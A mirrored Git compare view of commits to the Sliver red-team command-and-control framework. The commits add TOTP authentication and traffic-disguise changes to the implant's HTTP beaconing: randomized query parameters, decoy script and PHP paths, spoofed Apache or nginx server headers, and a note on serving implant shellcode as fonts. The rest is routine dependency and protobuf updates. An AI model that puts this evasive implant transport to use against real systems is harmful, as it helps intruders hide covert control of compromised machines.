mirror of
https://github.com/BishopFox/sliver.git
synced 2026-11-07 17:08:13 -10:00
Compare commits
4
Commits
extensions
...
otp
| Author | SHA1 | Date | |
|---|---|---|---|
|
|
c41e9dead0 | ||
|
|
e989ba581b | ||
|
|
7f9657f32d | ||
|
|
8cc3f1984a |
No files matched your search
+1
-1
@@ -20,7 +20,7 @@
|
||||
# Creates the static go asset archives
|
||||
|
||||
GO_VER="1.17"
|
||||
GARBLE_VER="1.17.0"
|
||||
GARBLE_VER="1.17.1"
|
||||
|
||||
GO_ARCH_1="amd64"
|
||||
GO_ARCH_2="arm64"
|
||||
|
||||
@@ -33,6 +33,7 @@ require (
|
||||
github.com/mattn/go-sqlite3 v1.14.5
|
||||
github.com/miekg/dns v1.1.35
|
||||
github.com/niemeyer/pretty v0.0.0-20200227124842-a10e7caefd8e // indirect
|
||||
github.com/pquerna/otp v1.3.0
|
||||
github.com/sergi/go-diff v1.1.0 // indirect
|
||||
github.com/sirupsen/logrus v1.7.0
|
||||
github.com/spf13/cobra v1.1.1
|
||||
@@ -50,7 +51,7 @@ require (
|
||||
gorm.io/driver/mysql v1.0.3
|
||||
gorm.io/driver/postgres v1.0.5
|
||||
gorm.io/driver/sqlite v1.1.3
|
||||
gorm.io/gorm v1.20.6
|
||||
gorm.io/gorm v1.21.14
|
||||
inet.af/netstack v0.0.0-20210317161235-a1bf4e56ef22
|
||||
)
|
||||
|
||||
@@ -58,6 +59,7 @@ require (
|
||||
github.com/Binject/shellcode v0.0.0-20191101084904-a8a90e7d4563 // indirect
|
||||
github.com/VirusTotal/vt-go v0.0.0-20210528074736-45bbe34cc8ab // indirect
|
||||
github.com/VividCortex/ewma v1.1.1 // indirect
|
||||
github.com/boombuler/barcode v1.0.1-0.20190219062509-6c824513bacc // indirect
|
||||
github.com/danwakefield/fnmatch v0.0.0-20160403171240-cbb64ac3d964 // indirect
|
||||
github.com/davecgh/go-spew v1.1.1 // indirect
|
||||
github.com/demisto/goxforce v0.0.0-20160322194047-db8357535b1d // indirect
|
||||
@@ -78,7 +80,7 @@ require (
|
||||
github.com/jackc/pgtype v1.5.0 // indirect
|
||||
github.com/jackc/pgx/v4 v4.9.0 // indirect
|
||||
github.com/jinzhu/inflection v1.0.0 // indirect
|
||||
github.com/jinzhu/now v1.1.1 // indirect
|
||||
github.com/jinzhu/now v1.1.2 // indirect
|
||||
github.com/kballard/go-shellquote v0.0.0-20180428030007-95032a82bc51 // indirect
|
||||
github.com/mattn/go-colorable v0.1.8 // indirect
|
||||
github.com/mattn/go-runewidth v0.0.7 // indirect
|
||||
|
||||
@@ -57,6 +57,8 @@ github.com/beorn7/perks v0.0.0-20180321164747-3a771d992973/go.mod h1:Dwedo/Wpr24
|
||||
github.com/beorn7/perks v1.0.0/go.mod h1:KWe93zE9D1o94FZ5RNwFwVgaQK1VOXiVxmqh+CedLV8=
|
||||
github.com/bgentry/speakeasy v0.1.0/go.mod h1:+zsyZBPWlz7T6j88CTgSN5bM796AkVf0kBD4zp0CCIs=
|
||||
github.com/bketelsen/crypt v0.0.3-0.20200106085610-5cbc8cc4026c/go.mod h1:MKsuJmJgSg28kpZDP6UIiPt0e0Oz0kqKNGyRaWEPv84=
|
||||
github.com/boombuler/barcode v1.0.1-0.20190219062509-6c824513bacc h1:biVzkmvwrH8WK8raXaxBx6fRVTlJILwEwQGL1I/ByEI=
|
||||
github.com/boombuler/barcode v1.0.1-0.20190219062509-6c824513bacc/go.mod h1:paBWMcWSl3LHKBqUq+rly7CNSldXjb2rDl3JlRe0mD8=
|
||||
github.com/census-instrumentation/opencensus-proto v0.2.1/go.mod h1:f6KPmirojxKA12rnyqOA5BBL4O983OfeGPqjHWSTneU=
|
||||
github.com/cespare/xxhash v1.1.0/go.mod h1:XrSqR1VqqWfGrhpAt58auRo0WTKS1nRRg3ghfAqPWnc=
|
||||
github.com/cheggaaa/pb/v3 v3.0.5 h1:lmZOti7CraK9RSjzExsY53+WWfub9Qv13B5m4ptEoPE=
|
||||
@@ -266,6 +268,8 @@ github.com/jinzhu/inflection v1.0.0 h1:K317FqzuhWc8YvSVlFMCCUb36O/S9MCKRDI7QkRKD
|
||||
github.com/jinzhu/inflection v1.0.0/go.mod h1:h+uFLlag+Qp1Va5pdKtLDYj+kHp5pxUVkryuEj+Srlc=
|
||||
github.com/jinzhu/now v1.1.1 h1:g39TucaRWyV3dwDO++eEc6qf8TVIQ/Da48WmqjZ3i7E=
|
||||
github.com/jinzhu/now v1.1.1/go.mod h1:d3SSVoowX0Lcu0IBviAWJpolVfI5UJVZZ7cO71lE/z8=
|
||||
github.com/jinzhu/now v1.1.2 h1:eVKgfIdy9b6zbWBMgFpfDPoAMifwSZagU9HmEU6zgiI=
|
||||
github.com/jinzhu/now v1.1.2/go.mod h1:d3SSVoowX0Lcu0IBviAWJpolVfI5UJVZZ7cO71lE/z8=
|
||||
github.com/jonboulle/clockwork v0.1.0/go.mod h1:Ii8DK3G1RaLaWxj9trq07+26W01tbo22gdxWY5EU2bo=
|
||||
github.com/jsimonetti/rtnetlink v0.0.0-20190606172950-9527aa82566a/go.mod h1:Oz+70psSo5OFh8DBl0Zv2ACw7Esh6pPUphlvZG9x7uw=
|
||||
github.com/jsimonetti/rtnetlink v0.0.0-20200117123717-f846d4f6c1f4/go.mod h1:WGuG/smIU4J/54PblvSbh+xvCZmpJnFgr3ds6Z55XMQ=
|
||||
@@ -360,6 +364,8 @@ github.com/pkg/errors v0.9.1/go.mod h1:bwawxfHBFNV+L2hUp1rHADufV3IMtnDRdf1r5NINE
|
||||
github.com/pmezard/go-difflib v1.0.0 h1:4DBwDE0NGyQoBHbLQYPwSUPoCMWR5BEzIk/f1lZbAQM=
|
||||
github.com/pmezard/go-difflib v1.0.0/go.mod h1:iKH77koFhYxTK1pcRnkKkqfTogsbg7gZNVY4sRDYZ/4=
|
||||
github.com/posener/complete v1.1.1/go.mod h1:em0nMJCgc9GFtwrmVmEMR/ZL6WyhyjMBndrE9hABlRI=
|
||||
github.com/pquerna/otp v1.3.0 h1:oJV/SkzR33anKXwQU3Of42rL4wbrffP4uvUf1SvS5Xs=
|
||||
github.com/pquerna/otp v1.3.0/go.mod h1:dkJfzwRKNiegxyNb54X/3fLwhCynbMspSyWKnvi1AEg=
|
||||
github.com/prometheus/client_golang v0.9.1/go.mod h1:7SWBe2y4D6OKWSNQJUaRYU/AaXPKyh/dDVn+NZz0KFw=
|
||||
github.com/prometheus/client_golang v0.9.3/go.mod h1:/TN21ttK/J9q6uSwhBd54HahCDft0ttaMvbicHlPoso=
|
||||
github.com/prometheus/client_model v0.0.0-20180712105110-5c3871d89910/go.mod h1:MbSGuTsp3dbXC40dX6PRTWyKYBIrTGTE9sqQNg2J8bo=
|
||||
@@ -683,6 +689,8 @@ gorm.io/gorm v1.20.1/go.mod h1:0HFTzE/SqkGTzK6TlDPPQbAYCluiVvhzoA1+aVyzenw=
|
||||
gorm.io/gorm v1.20.4/go.mod h1:0HFTzE/SqkGTzK6TlDPPQbAYCluiVvhzoA1+aVyzenw=
|
||||
gorm.io/gorm v1.20.6 h1:qa7tC1WcU+DBI/ZKMxvXy1FcrlGsvxlaKufHrT2qQ08=
|
||||
gorm.io/gorm v1.20.6/go.mod h1:0HFTzE/SqkGTzK6TlDPPQbAYCluiVvhzoA1+aVyzenw=
|
||||
gorm.io/gorm v1.21.14 h1:NAR9A/3SoyiPVHouW/rlpMUZvuQZ6Z6UYGz+2tosSQo=
|
||||
gorm.io/gorm v1.21.14/go.mod h1:F+OptMscr0P2F2qU97WT1WimdH9GaQPoDW7AYd5i2Y0=
|
||||
honnef.co/go/tools v0.0.0-20190102054323-c2f93a96b099/go.mod h1:rf3lG4BRIbNafJWhAfAdb/ePZxsR/4RtNHQocxwk9r4=
|
||||
honnef.co/go/tools v0.0.0-20190106161140-3f1c8253044a/go.mod h1:rf3lG4BRIbNafJWhAfAdb/ePZxsR/4RtNHQocxwk9r4=
|
||||
honnef.co/go/tools v0.0.0-20190418001031-e561f6794a2a/go.mod h1:rf3lG4BRIbNafJWhAfAdb/ePZxsR/4RtNHQocxwk9r4=
|
||||
|
||||
@@ -14,4 +14,5 @@ require (
|
||||
inet.af/netstack v0.0.0-20210317161235-a1bf4e56ef22
|
||||
golang.org/x/crypto v0.0.0-20210616213533-5ff15b29337e
|
||||
golang.org/x/sys v0.0.0-20210616094352-59db8d763f22 // indirect
|
||||
github.com/pquerna/otp v1.3.0
|
||||
)
|
||||
@@ -69,6 +69,21 @@ func RandomEncoder() (int, Encoder) {
|
||||
return nonce, EncoderMap[encoderID]
|
||||
}
|
||||
|
||||
// RandomTxtEncoder - Get a random nonce identifier and a matching encoder
|
||||
func RandomTxtEncoder() (int, Encoder) {
|
||||
textEncoders := map[int]Encoder{
|
||||
EnglishEncoderID: English{},
|
||||
Base64EncoderID: Base64{},
|
||||
}
|
||||
keys := make([]int, 0, len(textEncoders))
|
||||
for k := range textEncoders {
|
||||
keys = append(keys, k)
|
||||
}
|
||||
encoderID := keys[insecureRand.Intn(len(keys))]
|
||||
nonce := (insecureRand.Intn(maxN) * EncoderModulus) + encoderID
|
||||
return nonce, textEncoders[encoderID]
|
||||
}
|
||||
|
||||
// NopNonce - A NOP nonce identifies a request with no encoder/payload
|
||||
// any value where mod = 0
|
||||
func NopNonce() int {
|
||||
|
||||
@@ -257,7 +257,7 @@ func getRegisterSliver() *sliverpb.Envelope {
|
||||
filename, err := os.Executable()
|
||||
// Should not happen, but still...
|
||||
if err != nil {
|
||||
//TODO: build the absolute path to os.Args[0]
|
||||
// TODO: build the absolute path to os.Args[0]
|
||||
if 0 < len(os.Args) {
|
||||
filename = os.Args[0]
|
||||
} else {
|
||||
@@ -287,6 +287,7 @@ func getRegisterSliver() *sliverpb.Envelope {
|
||||
ReconnectInterval: uint32(transports.GetReconnectInterval() / time.Second),
|
||||
ProxyURL: transports.GetProxyURL(),
|
||||
PollInterval: uint32(transports.GetPollInterval() / time.Second),
|
||||
ConfigID: "{{ .Config.ID }}",
|
||||
})
|
||||
if err != nil {
|
||||
// {{if .Config.Debug}}
|
||||
|
||||
@@ -23,7 +23,7 @@ package transports
|
||||
// Procedural C2
|
||||
// ===============
|
||||
// .txt = rsakey
|
||||
// .jsp = init
|
||||
// .png = init
|
||||
// .php = session
|
||||
// .js = poll
|
||||
|
||||
@@ -53,15 +53,23 @@ import (
|
||||
"github.com/bishopfox/sliver/implant/sliver/encoders"
|
||||
"github.com/bishopfox/sliver/implant/sliver/proxy"
|
||||
pb "github.com/bishopfox/sliver/protobuf/sliverpb"
|
||||
"github.com/pquerna/otp"
|
||||
"github.com/pquerna/otp/totp"
|
||||
"google.golang.org/protobuf/proto"
|
||||
)
|
||||
|
||||
const (
|
||||
defaultUserAgent = "Mozilla/5.0 (Windows NT 10.0; WOW64; Trident/7.0; rv:11.0) like Gecko"
|
||||
userAgent = "{{GenerateUserAgent}}"
|
||||
defaultNetTimeout = time.Second * 60
|
||||
defaultReqTimeout = time.Second * 60 // Long polling, we want a large timeout
|
||||
nonceQueryArgs = "abcdefghijklmnopqrstuvwxyz_"
|
||||
acceptHeaderValue = "text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9"
|
||||
)
|
||||
|
||||
func init() {
|
||||
insecureRand.Seed(time.Now().UnixNano())
|
||||
}
|
||||
|
||||
// HTTPStartSession - Attempts to start a session with a given address
|
||||
func HTTPStartSession(address string, pathPrefix string) (*SliverHTTPClient, error) {
|
||||
var client *SliverHTTPClient
|
||||
@@ -119,23 +127,62 @@ func (s *SliverHTTPClient) SessionInit() error {
|
||||
return nil
|
||||
}
|
||||
|
||||
func (s *SliverHTTPClient) newHTTPRequest(method, uri string, encoderNonce int, body io.Reader) *http.Request {
|
||||
req, _ := http.NewRequest(method, uri, body)
|
||||
req.Header.Set("User-Agent", defaultUserAgent)
|
||||
req.Header.Set("Accept-Language", "en-US")
|
||||
query := req.URL.Query()
|
||||
query.Set("_", fmt.Sprintf("%d", encoderNonce))
|
||||
req.URL.RawQuery = query.Encode()
|
||||
func (s *SliverHTTPClient) newHTTPRequest(method string, uri *url.URL, body io.Reader) *http.Request {
|
||||
req, _ := http.NewRequest(method, uri.String(), body)
|
||||
req.Header.Set("User-Agent", userAgent)
|
||||
if method == http.MethodGet {
|
||||
req.Header.Set("Accept-Language", "en-US,en;q=0.9")
|
||||
req.Header.Set("Accept", acceptHeaderValue)
|
||||
}
|
||||
if uri.Scheme == "http" {
|
||||
req.Header.Set("Upgrade-Insecure-Requests", "1")
|
||||
}
|
||||
return req
|
||||
}
|
||||
|
||||
func (s *SliverHTTPClient) nonceQueryArgument(uri *url.URL, value int) *url.URL {
|
||||
values := uri.Query()
|
||||
key := nonceQueryArgs[insecureRand.Intn(len(nonceQueryArgs))]
|
||||
// {{if .Config.Debug}}
|
||||
log.Printf("Encoder nonce %d", value)
|
||||
// {{end}}
|
||||
argValue := fmt.Sprintf("%d", value)
|
||||
for i := 0; i < insecureRand.Intn(3); i++ {
|
||||
index := insecureRand.Intn(len(argValue))
|
||||
char := string(nonceQueryArgs[insecureRand.Intn(len(nonceQueryArgs))])
|
||||
argValue = argValue[:index] + char + argValue[index:]
|
||||
}
|
||||
values.Add(string(key), argValue)
|
||||
uri.RawQuery = values.Encode()
|
||||
return uri
|
||||
}
|
||||
|
||||
func (s *SliverHTTPClient) otpQueryArgument(uri *url.URL, value string) *url.URL {
|
||||
values := uri.Query()
|
||||
key1 := nonceQueryArgs[insecureRand.Intn(len(nonceQueryArgs))]
|
||||
key2 := nonceQueryArgs[insecureRand.Intn(len(nonceQueryArgs))]
|
||||
for i := 0; i < insecureRand.Intn(3); i++ {
|
||||
index := insecureRand.Intn(len(value))
|
||||
char := string(nonceQueryArgs[insecureRand.Intn(len(nonceQueryArgs))])
|
||||
value = value[:index] + char + value[index:]
|
||||
}
|
||||
values.Add(string([]byte{key1, key2}), value)
|
||||
uri.RawQuery = values.Encode()
|
||||
return uri
|
||||
}
|
||||
|
||||
func (s *SliverHTTPClient) getPublicKey() *rsa.PublicKey {
|
||||
uri := s.txtURL()
|
||||
nonce, encoder := encoders.RandomTxtEncoder()
|
||||
s.nonceQueryArgument(uri, nonce)
|
||||
otpCode := getOTPCode()
|
||||
s.otpQueryArgument(uri, otpCode)
|
||||
|
||||
// {{if .Config.Debug}}
|
||||
log.Printf("[http] GET -> %s", uri)
|
||||
// {{end}}
|
||||
nonce, encoder := encoders.RandomEncoder()
|
||||
req := s.newHTTPRequest(http.MethodGet, uri, nonce, nil)
|
||||
|
||||
req := s.newHTTPRequest(http.MethodGet, uri, nil)
|
||||
resp, err := s.Client.Do(req)
|
||||
if err != nil {
|
||||
// {{if .Config.Debug}}
|
||||
@@ -180,22 +227,19 @@ func (s *SliverHTTPClient) getPublicKey() *rsa.PublicKey {
|
||||
// We do our own POST here because the server doesn't have the
|
||||
// session key yet.
|
||||
func (s *SliverHTTPClient) getSessionID(sessionInit []byte) error {
|
||||
|
||||
nonce, encoder := encoders.RandomEncoder()
|
||||
// {{if .Config.Debug}}
|
||||
log.Printf("[http] sessionInit = %v", sessionInit)
|
||||
// {{end}}
|
||||
payload := encoder.Encode(sessionInit)
|
||||
// {{if .Config.Debug}}
|
||||
log.Printf("[http] Encoded payload (%d) %v", nonce, payload)
|
||||
// {{end}}
|
||||
reqBody := bytes.NewReader(payload) // Already RSA encrypted
|
||||
|
||||
uri := s.jspURL()
|
||||
req := s.newHTTPRequest(http.MethodPost, uri, nonce, reqBody)
|
||||
uri := s.phtmlURL()
|
||||
s.nonceQueryArgument(uri, nonce)
|
||||
otpCode := getOTPCode()
|
||||
s.otpQueryArgument(uri, otpCode)
|
||||
req := s.newHTTPRequest(http.MethodPost, uri, reqBody)
|
||||
// {{if .Config.Debug}}
|
||||
log.Printf("[http] POST -> %s", uri)
|
||||
// {{end}}
|
||||
|
||||
resp, err := s.Client.Do(req)
|
||||
if err != nil {
|
||||
return err
|
||||
@@ -227,7 +271,8 @@ func (s *SliverHTTPClient) Poll() ([]byte, error) {
|
||||
}
|
||||
uri := s.jsURL()
|
||||
nonce, encoder := encoders.RandomEncoder()
|
||||
req := s.newHTTPRequest(http.MethodGet, uri, nonce, nil)
|
||||
s.nonceQueryArgument(uri, nonce)
|
||||
req := s.newHTTPRequest(http.MethodGet, uri, nil)
|
||||
// {{if .Config.Debug}}
|
||||
log.Printf("[http] GET -> %s", uri)
|
||||
// {{end}}
|
||||
@@ -269,13 +314,16 @@ func (s *SliverHTTPClient) Send(data []byte) error {
|
||||
}
|
||||
reqData, err := GCMEncrypt(*s.SessionKey, data)
|
||||
|
||||
nonce, encoder := encoders.RandomEncoder()
|
||||
reader := bytes.NewReader(encoder.Encode(reqData))
|
||||
uri := s.phpURL()
|
||||
nonce, encoder := encoders.RandomEncoder()
|
||||
s.nonceQueryArgument(uri, nonce)
|
||||
reader := bytes.NewReader(encoder.Encode(reqData))
|
||||
|
||||
// {{if .Config.Debug}}
|
||||
log.Printf("[http] POST -> %s", uri)
|
||||
// {{end}}
|
||||
req := s.newHTTPRequest(http.MethodPost, uri, nonce, reader)
|
||||
|
||||
req := s.newHTTPRequest(http.MethodPost, uri, reader)
|
||||
resp, err := s.Client.Do(req)
|
||||
if err != nil {
|
||||
// {{if .Config.Debug}}
|
||||
@@ -299,44 +347,97 @@ func (s *SliverHTTPClient) pathJoinURL(segments []string) string {
|
||||
return strings.Join(segments, "/")
|
||||
}
|
||||
|
||||
func (s *SliverHTTPClient) jsURL() string {
|
||||
// Procedural C2
|
||||
// ===============
|
||||
// .txt = rsakey
|
||||
// .php = start / session
|
||||
// .js = poll
|
||||
// .png = stop
|
||||
// .woff = sliver shellcode
|
||||
|
||||
func (s *SliverHTTPClient) jsURL() *url.URL {
|
||||
curl, _ := url.Parse(s.Origin)
|
||||
segments := []string{"js", "static", "assets", "dist", "javascript"}
|
||||
filenames := []string{"underscore.min.js", "jquery.min.js", "bootstrap.min.js"}
|
||||
|
||||
segments := []string{
|
||||
// {{range .HTTPC2Config.JsPaths}}
|
||||
"{{.}}",
|
||||
// {{end}}
|
||||
}
|
||||
filenames := []string{
|
||||
// {{range .HTTPC2Config.JsFiles}}
|
||||
"{{.}}",
|
||||
// {{end}}
|
||||
}
|
||||
|
||||
curl.Path = s.pathJoinURL(s.randomPath(segments, filenames))
|
||||
return curl.String()
|
||||
return curl
|
||||
}
|
||||
|
||||
func (s *SliverHTTPClient) jspURL() string {
|
||||
func (s *SliverHTTPClient) pngURL() *url.URL {
|
||||
curl, _ := url.Parse(s.Origin)
|
||||
segments := []string{"app", "admin", "upload", "actions", "api"}
|
||||
filenames := []string{"login.jsp", "admin.jsp", "session.jsp", "action.jsp"}
|
||||
|
||||
segments := []string{
|
||||
// {{range .HTTPC2Config.PngPaths}}
|
||||
"{{.}}",
|
||||
// {{end}}
|
||||
}
|
||||
filenames := []string{
|
||||
// {{range .HTTPC2Config.PngFiles}}
|
||||
"{{.}}",
|
||||
// {{end}}
|
||||
}
|
||||
|
||||
curl.Path = s.pathJoinURL(s.randomPath(segments, filenames))
|
||||
return curl.String()
|
||||
return curl
|
||||
}
|
||||
|
||||
func (s *SliverHTTPClient) phpURL() string {
|
||||
func (s *SliverHTTPClient) phpURL() *url.URL {
|
||||
curl, _ := url.Parse(s.Origin)
|
||||
segments := []string{"api", "rest", "drupal", "wordpress"}
|
||||
filenames := []string{"login.php", "signin.php", "api.php", "samples.php"}
|
||||
segments := []string{
|
||||
// {{range .HTTPC2Config.PhpPaths}}
|
||||
"{{.}}",
|
||||
// {{end}}
|
||||
}
|
||||
filenames := []string{
|
||||
// {{range .HTTPC2Config.PhpFiles}}
|
||||
"{{.}}",
|
||||
// {{end}}
|
||||
}
|
||||
curl.Path = s.pathJoinURL(s.randomPath(segments, filenames))
|
||||
return curl.String()
|
||||
return curl
|
||||
}
|
||||
|
||||
func (s *SliverHTTPClient) txtURL() string {
|
||||
curl, _ := url.Parse(s.Origin)
|
||||
segments := []string{"static", "www", "assets", "text", "docs", "sample"}
|
||||
filenames := []string{"robots.txt", "sample.txt", "info.txt", "example.txt"}
|
||||
curl.Path = s.pathJoinURL(s.randomPath(segments, filenames))
|
||||
return curl.String()
|
||||
func (s *SliverHTTPClient) phtmlURL() *url.URL {
|
||||
curl := s.phpURL()
|
||||
curl, _ = url.Parse(strings.Replace(curl.String(), ".php", ".phtml", 1))
|
||||
return curl
|
||||
}
|
||||
|
||||
func (s *SliverHTTPClient) txtURL() *url.URL {
|
||||
curl, _ := url.Parse(s.Origin)
|
||||
segments := []string{
|
||||
// {{range .HTTPC2Config.TxtPaths}}
|
||||
"{{.}}",
|
||||
// {{end}}
|
||||
}
|
||||
filenames := []string{
|
||||
// {{range .HTTPC2Config.TxtFiles}}
|
||||
"{{.}}",
|
||||
// {{end}}
|
||||
}
|
||||
curl.Path = s.pathJoinURL(s.randomPath(segments, filenames))
|
||||
return curl
|
||||
}
|
||||
|
||||
// Must return at least a file name, path segments are optional
|
||||
func (s *SliverHTTPClient) randomPath(segments []string, filenames []string) []string {
|
||||
n := insecureRand.Intn(2) // How many segments?
|
||||
genSegments := []string{}
|
||||
for index := 0; index < n; index++ {
|
||||
seg := segments[insecureRand.Intn(len(segments))]
|
||||
genSegments = append(genSegments, seg)
|
||||
if 0 < len(segments) {
|
||||
n := insecureRand.Intn(len(segments)) // How many segments?
|
||||
for index := 0; index < n; index++ {
|
||||
seg := segments[insecureRand.Intn(len(segments))]
|
||||
genSegments = append(genSegments, seg)
|
||||
}
|
||||
}
|
||||
filename := filenames[insecureRand.Intn(len(filenames))]
|
||||
genSegments = append(genSegments, filename)
|
||||
@@ -450,4 +551,19 @@ func (jar *Jar) Cookies(u *url.URL) []*http.Cookie {
|
||||
return jar.cookies
|
||||
}
|
||||
|
||||
func getOTPCode() string {
|
||||
now := time.Now().UTC()
|
||||
opts := totp.ValidateOpts{
|
||||
Digits: 8,
|
||||
Algorithm: otp.AlgorithmSHA256,
|
||||
Period: uint(30),
|
||||
Skew: uint(1),
|
||||
}
|
||||
code, _ := totp.GenerateCodeCustom("{{ .OTPSecret }}", now, opts)
|
||||
// {{if .Config.Debug}}
|
||||
log.Printf("HTTP(S) TOTP Code: %s", code)
|
||||
// {{end}}
|
||||
return code
|
||||
}
|
||||
|
||||
// {{end}} -HTTPc2Enabled
|
||||
@@ -1,7 +1,7 @@
|
||||
// Code generated by protoc-gen-go. DO NOT EDIT.
|
||||
// versions:
|
||||
// protoc-gen-go v1.26.0
|
||||
// protoc v3.15.8
|
||||
// protoc v3.17.3
|
||||
// source: clientpb/client.proto
|
||||
|
||||
package clientpb
|
||||
@@ -658,6 +658,7 @@ type ImplantConfig struct {
|
||||
sizeCache protoimpl.SizeCache
|
||||
unknownFields protoimpl.UnknownFields
|
||||
|
||||
ID string `protobuf:"bytes,100,opt,name=ID,proto3" json:"ID,omitempty"`
|
||||
GOOS string `protobuf:"bytes,1,opt,name=GOOS,proto3" json:"GOOS,omitempty"`
|
||||
GOARCH string `protobuf:"bytes,2,opt,name=GOARCH,proto3" json:"GOARCH,omitempty"`
|
||||
Name string `protobuf:"bytes,3,opt,name=Name,proto3" json:"Name,omitempty"`
|
||||
@@ -722,6 +723,13 @@ func (*ImplantConfig) Descriptor() ([]byte, []int) {
|
||||
return file_clientpb_client_proto_rawDescGZIP(), []int{3}
|
||||
}
|
||||
|
||||
func (x *ImplantConfig) GetID() string {
|
||||
if x != nil {
|
||||
return x.ID
|
||||
}
|
||||
return ""
|
||||
}
|
||||
|
||||
func (x *ImplantConfig) GetGOOS() string {
|
||||
if x != nil {
|
||||
return x.GOOS
|
||||
@@ -4521,8 +4529,9 @@ var file_clientpb_client_proto_rawDesc = []byte{
|
||||
0x72, 0x69, 0x6f, 0x72, 0x69, 0x74, 0x79, 0x12, 0x10, 0x0a, 0x03, 0x55, 0x52, 0x4c, 0x18, 0x02,
|
||||
0x20, 0x01, 0x28, 0x09, 0x52, 0x03, 0x55, 0x52, 0x4c, 0x12, 0x18, 0x0a, 0x07, 0x4f, 0x70, 0x74,
|
||||
0x69, 0x6f, 0x6e, 0x73, 0x18, 0x03, 0x20, 0x01, 0x28, 0x09, 0x52, 0x07, 0x4f, 0x70, 0x74, 0x69,
|
||||
0x6f, 0x6e, 0x73, 0x22, 0xfc, 0x07, 0x0a, 0x0d, 0x49, 0x6d, 0x70, 0x6c, 0x61, 0x6e, 0x74, 0x43,
|
||||
0x6f, 0x6e, 0x66, 0x69, 0x67, 0x12, 0x12, 0x0a, 0x04, 0x47, 0x4f, 0x4f, 0x53, 0x18, 0x01, 0x20,
|
||||
0x6f, 0x6e, 0x73, 0x22, 0x8c, 0x08, 0x0a, 0x0d, 0x49, 0x6d, 0x70, 0x6c, 0x61, 0x6e, 0x74, 0x43,
|
||||
0x6f, 0x6e, 0x66, 0x69, 0x67, 0x12, 0x0e, 0x0a, 0x02, 0x49, 0x44, 0x18, 0x64, 0x20, 0x01, 0x28,
|
||||
0x09, 0x52, 0x02, 0x49, 0x44, 0x12, 0x12, 0x0a, 0x04, 0x47, 0x4f, 0x4f, 0x53, 0x18, 0x01, 0x20,
|
||||
0x01, 0x28, 0x09, 0x52, 0x04, 0x47, 0x4f, 0x4f, 0x53, 0x12, 0x16, 0x0a, 0x06, 0x47, 0x4f, 0x41,
|
||||
0x52, 0x43, 0x48, 0x18, 0x02, 0x20, 0x01, 0x28, 0x09, 0x52, 0x06, 0x47, 0x4f, 0x41, 0x52, 0x43,
|
||||
0x48, 0x12, 0x12, 0x0a, 0x04, 0x4e, 0x61, 0x6d, 0x65, 0x18, 0x03, 0x20, 0x01, 0x28, 0x09, 0x52,
|
||||
|
||||
@@ -59,6 +59,8 @@ enum OutputFormat {
|
||||
}
|
||||
|
||||
message ImplantConfig {
|
||||
string ID = 100;
|
||||
|
||||
string GOOS = 1;
|
||||
string GOARCH = 2;
|
||||
string Name = 3;
|
||||
|
||||
@@ -1,7 +1,7 @@
|
||||
// Code generated by protoc-gen-go. DO NOT EDIT.
|
||||
// versions:
|
||||
// protoc-gen-go v1.26.0
|
||||
// protoc v3.15.8
|
||||
// protoc v3.17.3
|
||||
// source: commonpb/common.proto
|
||||
|
||||
package commonpb
|
||||
|
||||
@@ -1,7 +1,7 @@
|
||||
// Code generated by protoc-gen-go. DO NOT EDIT.
|
||||
// versions:
|
||||
// protoc-gen-go v1.26.0
|
||||
// protoc v3.15.8
|
||||
// protoc v3.17.3
|
||||
// source: rpcpb/services.proto
|
||||
|
||||
package rpcpb
|
||||
|
||||
+797
-788
File diff suppressed because it is too large.
Load diff
@@ -47,6 +47,7 @@ message Register {
|
||||
uint32 ReconnectInterval = 13;
|
||||
string ProxyURL = 14;
|
||||
uint32 PollInterval = 15;
|
||||
string ConfigID = 16;
|
||||
}
|
||||
|
||||
// Ping - Not ICMP, just sends a rount trip message to an implant to
|
||||
|
||||
File renamed without changes.
@@ -19,6 +19,7 @@ package c2
|
||||
*/
|
||||
|
||||
import (
|
||||
"bytes"
|
||||
"context"
|
||||
"crypto/rand"
|
||||
"crypto/sha256"
|
||||
@@ -27,19 +28,23 @@ import (
|
||||
"encoding/base64"
|
||||
"encoding/hex"
|
||||
"encoding/pem"
|
||||
"errors"
|
||||
"fmt"
|
||||
"io/ioutil"
|
||||
insecureRand "math/rand"
|
||||
"net"
|
||||
"net/http"
|
||||
"net/url"
|
||||
"path/filepath"
|
||||
"strconv"
|
||||
"strings"
|
||||
"sync"
|
||||
"time"
|
||||
"unicode"
|
||||
|
||||
"github.com/bishopfox/sliver/protobuf/sliverpb"
|
||||
"github.com/bishopfox/sliver/server/certs"
|
||||
"github.com/bishopfox/sliver/server/configs"
|
||||
"github.com/bishopfox/sliver/server/core"
|
||||
"github.com/bishopfox/sliver/server/cryptography"
|
||||
sliverHandlers "github.com/bishopfox/sliver/server/handlers"
|
||||
@@ -54,14 +59,20 @@ import (
|
||||
var (
|
||||
httpLog = log.NamedLogger("c2", "http")
|
||||
accessLog = log.NamedLogger("c2", "http-access")
|
||||
|
||||
ErrMissingNonce = errors.New("nonce not found in request")
|
||||
ErrMissingOTP = errors.New("otp code not found in request")
|
||||
)
|
||||
|
||||
const (
|
||||
defaultHTTPTimeout = time.Second * 60
|
||||
pollTimeout = defaultHTTPTimeout - 5
|
||||
sessionCookieName = "PHPSESSID"
|
||||
)
|
||||
|
||||
func init() {
|
||||
insecureRand.Seed(time.Now().UnixNano())
|
||||
}
|
||||
|
||||
// HTTPSession - Holds data related to a sliver c2 session
|
||||
type HTTPSession struct {
|
||||
ID string
|
||||
@@ -135,6 +146,7 @@ type SliverHTTPC2 struct {
|
||||
HTTPSessions *HTTPSessions
|
||||
SliverStage []byte // Sliver shellcode to serve during staging process
|
||||
Cleanup func()
|
||||
EnforceOTP bool
|
||||
|
||||
server string
|
||||
poweredBy string
|
||||
@@ -142,15 +154,30 @@ type SliverHTTPC2 struct {
|
||||
|
||||
func (s *SliverHTTPC2) getServerHeader() string {
|
||||
if s.server == "" {
|
||||
s.server = fmt.Sprintf("Apache/2.4.%d (Unix)", insecureRand.Intn(43))
|
||||
switch insecureRand.Intn(1) {
|
||||
case 0:
|
||||
s.server = fmt.Sprintf("Apache/2.4.%d (Unix)", insecureRand.Intn(48))
|
||||
default:
|
||||
s.server = fmt.Sprintf("nginx/1.%d.%d (Ubuntu)", insecureRand.Intn(21), insecureRand.Intn(8))
|
||||
}
|
||||
}
|
||||
return s.server
|
||||
}
|
||||
|
||||
func (s *SliverHTTPC2) getCookieName() string {
|
||||
cookies := configs.GetHTTPC2Config().ServerConfig.Cookies
|
||||
